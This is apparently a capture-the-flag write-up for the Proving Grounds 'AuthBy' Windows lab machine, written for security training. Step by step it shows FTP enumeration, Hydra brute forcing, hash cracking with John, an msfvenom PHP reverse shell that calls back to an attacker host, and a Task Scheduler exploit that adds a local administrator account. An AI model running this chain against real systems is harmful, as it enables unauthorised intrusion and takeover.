Skip to content
HackIndex.io

AuthBy Writeup - Proving Grounds

Intermediate Windows
Discuss on Discord

Created October 8, 2026 • Last updated October 8, 2026 • 5 min read

The Husky Hacker

sysadmin

AuthBy exposes anonymous FTP on a zFTPServer install, which leaks a hint about an admin account. Brute forcing that account with the default password admin:admin gives access to a web directory whose .htpasswd hash cracks to a working HTTP Basic Auth credential, used to trigger an uploaded PHP reverse shell. A public Windows Task Scheduler exploit then creates a new local administrator account.

Reconnaissance

Nmap

Scan all TCP ports.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- $TARGET_IP 
PORT     STATE SERVICE
21/tcp   open  ftp
242/tcp  open  direct
3145/tcp open  csi-lfap
3389/tcp open  ms-wbt-server
Explain command
-p- Scan all 65535 TCP ports.

Follow up with version and script scanning on the open ports.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -A -sV -p 21,242,3145,3389 $TARGET_IP 
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           zFTPServer 6.0 build 2011-10-17
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
242/tcp  open  http          Apache httpd 2.2.21 ((Win32) PHP/5.3.8)
| http-auth:
|   HTTP/1.1 401 Authorization Required
|_  Basic realm=Qui e nuce nuculeum esse volt, frangit nucem!
3145/tcp open  zftp-admin    zFTPServer admin
3389/tcp open  ssl/ms-wbt-server?
| rdp-ntlm-info:
|   Target_Name: LIVDA
|_  NetBIOS_Computer_Name: LIVDA
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Explain command
-A Enable OS detection, version detection, script scanning and traceroute.

zFTPServer allows anonymous login, and an Apache/PHP web server on port 242 sits behind HTTP Basic Auth. Log in to FTP as the anonymous user and enumerate.

Anonymous FTP enumeration

Browse the FTP root.

┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP 
Name ($TARGET_IP:kali): anonymous
230 User logged in, proceed.
ftp> dir
dr-xr-xr-x 1 root root 512 Aug 13 04:13 accounts
-r--r--r-- 1 root root 8736 Nov 09 2011 Settings.ini

The accounts directory is worth exploring.

┌──(kali㉿kali)-[~]
└─$ cd accounts
┌──(kali㉿kali)-[~]
└─$ dir 
dr-xr-xr-x 1 root root 512 Aug 13 04:13 backup
-r--r--r-- 1 root root 764 Aug 13 04:13 acc[Offsec].uac
-r--r--r-- 1 root root 1030 Dec 28 01:38 acc[anonymous].uac
-r--r--r-- 1 root root 926 Aug 13 04:13 acc[admin].uac

A UAC account file confirms an admin account exists. Brute force its FTP password.

Exploitation

FTP admin brute force

Default/weak credentials are common on zFTPServer installs, so run Hydra against the admin account.

┌──(kali㉿kali)-[~]
└─$ hydra -l admin -P /usr/share/wordlists/rockyou.txt -e nsr -f ftp://$TARGET_IP 
[DATA] attacking ftp://$TARGET_IP:21/
[21][ftp] host: $TARGET_IP   login: admin   password: admin
1 of 1 target successfully completed, 1 valid password found
Explain command
-e nsr Also try a null password, the login as password, and the login reversed.
-f Stop on the first valid password found.

The admin FTP password is the default admin:admin. Log back in with it and enumerate further.

┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP 
Name ($TARGET_IP:kali): admin
230 User logged in, proceed.
ftp> dir
-r--r--r-- 1 root root 76 Nov 08 2011 index.php
-r--r--r-- 1 root root 45 Nov 08 2011 .htpasswd
-r--r--r-- 1 root root 161 Nov 08 2011 .htaccess

This FTP path maps to a web directory served through Apache on port 242. Download all three files for inspection.

┌──(kali㉿kali)-[~]
└─$ get index.php
┌──(kali㉿kali)-[~]
└─$ get .htpasswd
┌──(kali㉿kali)-[~]
└─$ get .htaccess

index.php has nothing of value. .htaccess points Apache at the .htpasswd file for Basic Auth.

┌──(kali㉿kali)-[~]
└─$ cat .htaccess 
AuthName "Qui e nuce nuculeum esse volt, frangit nucem!"
AuthType Basic
AuthUserFile C:\wamp\.htpasswd

Require valid-user

.htpasswd holds a password hash for the offsec user, so cracking it gives valid HTTP credentials.

┌──(kali㉿kali)-[~]
└─$ cat .htpasswd 
offsec:$1$<snip>

The offsec password hash is worth cracking offline.

Password cracking

Run John against it with the rockyou wordlist.

┌──(kali㉿kali)-[~]
└─$ john .htpasswd --wordlist=/usr/share/wordlists/rockyou.txt 
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
$OFFSEC_PASSWORD   (offsec)
1g 0:00:00:00 DONE

The offsec password cracks in seconds. The web server runs PHP, so a PHP reverse shell uploaded over FTP and triggered through Basic Auth should execute.

PHP reverse shell via FTP upload

Generate the payload.

┌──(kali㉿kali)-[~]
└─$ msfvenom -p php/meterpreter/reverse_tcp -f raw lhost=$ATTACKER_IP lport=$ATTACKER_PORT > pwn.php 
Payload size: 1113 bytes

Log back in to FTP as admin and upload it next to the protected PHP files.

┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP 
Name ($TARGET_IP:kali): admin
ftp> put pwn.php
226 Closing data connection.
1113 bytes sent in 0.00 secs (14.9499 MB/s)

Start a Metasploit handler, then trigger the payload with the cracked offsec credential over HTTP Basic Auth.

┌──(kali㉿kali)-[~]
└─$ msfconsole -q -x "use exploit/multi/handler; set payload php/meterpreter/reverse_tcp; set LHOST $ATTACKER_IP; set LPORT $ATTACKER_PORT; run" 
[*] Started reverse TCP handler on $ATTACKER_IP:$ATTACKER_PORT
┌──(kali㉿kali)-[~]
└─$ curl --user offsec:$OFFSEC_PASSWORD $TARGET_IP:242/pwn.php

The handler catches a session.

┌──(kali㉿kali)-[~]
└─$ getuid 
[*] Sending stage (38288 bytes) to $TARGET_IP
[*] Meterpreter session 1 opened
Server username: apache (0)

Shell as the apache service account. Check the OS build for a known local privilege escalation.

Privilege Escalation

Patch level

Run sysinfo to check hotfixes.

┌──(kali㉿kali)-[~]
└─$ sysinfo 
Computer : LIVDA
OS : Windows NT LIVDA 6.0 build 6001 (Windows Server 2008 Standard Edition Service Pack 1) i586
Meterpreter : php/windows

An old, unpatched 2008 build. Searchsploit turns up a Windows Task Scheduler privilege escalation exploit.

Task Scheduler privilege escalation

The exploit, EDB-15589, is a .wsf script that creates a new local administrator account when run.

a.WriteLine("net user /add test123 test123")
a.WriteLine("net localgroup administrators /add test123")

Upload it through the Meterpreter session and execute it with cscript.

┌──(kali㉿kali)-[~]
└─$ upload 15589.wsf /Users/apache/Desktop/
┌──(kali㉿kali)-[~]
└─$ execute -f cscript -a C:/Users/apache/Desktop/15589.wsf 
[*] uploaded : 15589.wsf -> /Users/apache/Desktop/15589.wsf
Process 2868 created.

The exploit creates the test123 account with a matching password and adds it to Administrators. Connect over RDP to confirm.

┌──(kali㉿kali)-[~]
└─$ rdesktop $TARGET_IP -u test123 -p test123 
Autoselecting keyboard map 'en-us' from locale
<snip>
Do you trust this certificate (yes/no)? yes
Connection established using SSL.

The session lands as a local administrator on the box.

Related

FTP Anonymous Login Exploitation
Blog

FTP Anonymous Login Exploitation

Exploit anonymous FTP login to gain unauthorised access, enumerate files, and extract sensitive data...
FTP Web Shell Upload
Blog

FTP Web Shell Upload

Upload web shells via FTP to gain remote code execution. Covers anonymous/authenticated access, shel...
Windows Scheduled Task Abuse for Privilege Escalation
Blog

Windows Scheduled Task Abuse for Privilege Escalation

Exploiting misconfigured Windows Scheduled Tasks to escalate privileges by hijacking task binaries,...

References